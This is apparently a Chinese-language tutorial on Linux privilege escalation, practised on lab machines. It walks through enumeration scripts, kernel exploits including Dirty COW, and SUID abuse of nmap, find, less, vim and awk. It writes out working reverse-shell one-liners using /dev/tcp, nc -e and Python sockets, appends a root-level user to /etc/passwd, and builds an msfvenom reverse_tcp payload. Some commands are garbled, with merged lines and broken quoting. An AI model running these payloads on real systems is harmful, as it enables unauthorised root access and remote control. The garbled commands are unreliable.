Linux提权
Linux提权
VVkladg0r权限提升
Linux提权
一键配环境
提权信息收集
LinEnum
把文件上传到目标服务器内
解压
绿色的表示有执行权限
可以按照参数来执行命令
也可以这样:
./LinEnum.sh >> 1.txt
把收集到的信息重定向到1.txt
收集成功
信息收集脚本2
linuxprivchecker-master
这个脚本需要目标主机有python环境
看到有py文件
同样的
python linuxprivchecker.py >> 2.txt
收集成功
内核提权
提权流程
我们先看下这个命令
uname -r
3.10.0-1160.el7.x86_64
3–>内核版本
10–>稳定版(技术开发版 偶数稳定版)
0–>补丁修补次数 这里是0次
后面的是具体详情
linux内核提权和windows的很像
需要漏洞
把文件传到目标主机上
看到有可执行文件
同样的 运行脚本
./linux-exploit-suggester.sh
看到很多漏洞可以利用
Details:漏洞详情 参考连接
Exposure: 攻击成功的可能性
- highly probable 极有可能
- probable 低可能
- less probable 较不可能
Tags:漏洞影响的版本号
Download: 漏洞对应exp下载地址
Comment: 注释评论
linux-exploit-suggester-2的话会更简介一点
./linux-exploit-suggester-2.pl
所以内核提权步骤:
信息收集收集对应的可提权的exp
下载exp
编译、运行
如果没找到对应exp
可以在漏洞数据库里找
或者github
这里我们用CVE-2018-14665试下
exp下载下载:
#!/bin/sh |
失败了啊
没关系 换一个CVE用就行
CVE-2016-0728一般不会用 会跑性能带宽
试下CVE-2014-0038呢
看到要gcc编译一下
下载
按他给的步骤试下
失败了
斯
应该是我centos的问题 可能换个靶机就成功了
总之流程就是这样
脏牛提权
CVE-2016-5195
脏牛提权也是内核提权的一种 但是一般都能提上去 而且任意linux都可以尝试脏牛提权
漏洞影响范围:Liunx kernel >= 2.6.22 的所有Linux系统
漏洞原理:在Linux内核的内存子系统处理私有只读内存映射的写时复制(COW)损坏的方式中发现了一种竞争状况。一个没有特权的本地用户可以使用此漏洞来获取对只读存储器映射的写访问权,从而增加他们在系统上的特权。
三种编译c形式:
gcc xxx.c -o xxx
make
gcc -pthread xxx.c -o xxx -lcrypt
现在我们打一下msf的靶机
默认账户:msfadmin
默认密码:msfadmin
现在我已经把找到的脏牛的exp放在了靶机上
看到了dirty.c
gcc编译
有执行权限
运行
./dirty
输入密码自定
他会帮我们创建一个新用户 权限是root
成功
SUID提权
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。SUID可以让调用者以文件拥有者的身份运行该文件,通过调用root用户所拥有的suid文件,运行时我们就获得了root权限
我们还是来打msf靶机
可以看到 红色文件名的文件有S权限
这就是suid文件
我们可以赋给文件S权限
chmod u+s dirty.c
移除s权限
chmod u-s dirty.c
在linux中有一些文件本身就是suid文件
所以:
suid文件查找:
以下命令将尝试查找具有root权限的SUID文件,不同系统适用于不同的命令,一个一个试
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
当然也可以用信息收集的东西
脚本梭哈
有关键信息–suid文件地址
那我们怎么基于这些文件来提权呢
需要文件有这些关键字:
Nmap
Vim
find
Bash
More
Less
Nano
cpnetcat
exim
awk
没有就提权不了
找到一个nmap
nmap需要执行一下命令
nmap --interactive
启动一个交互式的nmap
!sh
提权成功
不同的文件提权方式是不同的
find
find 具有suid权限的filename -exec whoami ; -quit
#rootfind 具有suid权限的filename -exec /bin/sh -p ; -quit
#whoami
#rootfind 具有suid权限的filename -exec “/bin/bash” -p ; #whami #root
#先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami ;
反弹shell
靶机:
find user -exec nc -lvp 4444 -e ‘/bin/sh’ ;
kali:
nc 靶机ip 4444
靶机:
find 具有suid权限的filename -exec bash -c ‘bash -i >& /dev/tcp/ip/port 0>&1’ ;
kali:
nc -lvp port
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“ip”,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);
root的反弹shell
或者
/usr/bin/find 1.txt -exec python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“ip”,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’ ;
nmap
适用版本:nmap2.02至5.21
nmap –interactive
然后
nmap> !sh
sh-3.2# whoami
root
less/more
less和more一样
less /etc/passwd
!/bin/sh
VISUAL=”/bin/sh -c ‘/bin/sh’” less /etc/profile
v
less /etc/profile
v:shell
也是可以进入交互界面然后写入shell的
sudo install -m =xs $(which less) .
./less file_to_read
如果二进制文件设置了 SUID 位,则它不会丢弃提升的权限,并且可能会被滥用来访问文件系统、升级或维护作为 SUID 后门的特权访问。如果它用于运行,则省略像 Debian (<= Stretch) 这样的系统上允许默认 shell 以 SUID 权限运行的参数。sh -p``-p``sh
此示例创建二进制文件的本地 SUID 副本并运行它以维护提升的权限。要与现有 SUID 二进制文件交互,请跳过第一个命令并使用其原始路径运行程序。
使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能,无法使用!
命令进入shell。
nano
nano
ctrl + R
ctrl + X
#shell
cp/mv
whoami
#qszdcat /etc/passwd
openssl passwd -1 -salt test testaaa
echo ‘test:$1$test$giCVmzusADSPMon2mwEWo1:0:0::/root/:/bin/sh’ >> passwd
echo ‘test:$1$test$giCVmzusADSPMon2mwEWo1:0:0::/root/:/bin/sh’ >> passwd
su - test
vi/vim
vim.tiny /etc/passwd
:!/bin/sh
bash
id
#uid=1024(qsdz) gid=999(qsdz) groups=999(qsdz)bash -p
#生成一个 bash-3.2#bash-3.2# id
#uid=1024(qsdz) gid=999(qsdz) euid=0(root) groups=999(qsdz)
awk
awk利用以下命令进入shell,其原理和上面的bash差不多
awk ‘BEGIN {system(“/bin/bash”)}’
bash-3.2$ whoami
#root
MSF提权
同样msf也可以进行linux的提取
msfvenom生成木马
这里的payload和之前的不一样
uname -r
看下版本信息
表明x86和x64都可以用
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.172 LPORT=6363 -f elf -o shell.elf
这样就生成了一个linux的木马
再传到目标主机上
现在我们msf开一个监听
目标主机执行
上线
不能直接上权限
先信息收集
然后就是search CVE-2016-5195
慢慢打就行
当然也可以用这个模块
use post/multi/recon/local_exploit_suggester
会自动检查可以利用的漏洞